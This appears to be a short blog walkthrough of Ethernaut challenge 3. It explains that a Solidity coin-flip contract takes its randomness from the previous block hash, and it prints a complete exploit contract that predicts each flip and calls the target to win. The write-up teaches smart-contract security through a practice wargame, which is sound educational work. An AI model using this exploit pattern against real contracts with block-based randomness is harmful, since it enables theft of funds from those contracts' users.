Ethernaut Challenge 3 Walkthrough w Code

Yong kang Chia
2 min readJul 13, 2022

The key knowledge for this challenge is to

  1. Know how to call the functions of another deployed contract
  2. Know that randomness in blockchain is hard to achieve
  3. Blocks in ethereum : https://ethereum.org/en/developers/docs/blocks/

The key vulnerability of the contract is that the contract given tries to simulate random coin flip by generating true or false using the block number of the network (Ropsten in our case). But this is not actually really random! You can very easily query the network to see the current block number.

Therefore we can easily run the “random” function ourselves before we pass the number into the flip function

The random function that we reuse in our contract

uint256 blockValue = uint256(blockhash(block.number - 1));        if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

Basically, what we can do is to create a similar contract and we can use the interface to call the original contract function

Interface

interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}

using the interface, we can pass in the guessed result into the flip function

bool isRight = ICoinFlip(_coinFlipAddr).flip(side);

Overall Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}

contract CoinFlipExploit {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function coinFlipGuess(address _coinFlipAddr) external returns (uint256) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

bool isRight = ICoinFlip(_coinFlipAddr).flip(side);
if (isRight) {
consecutiveWins++;
} else {
consecutiveWins = 0;
}

return consecutiveWins;
}
}

--

--

Yong kang Chia

Blockchain Developer. Chainlink Ex Spartan Group, Ex Netherminds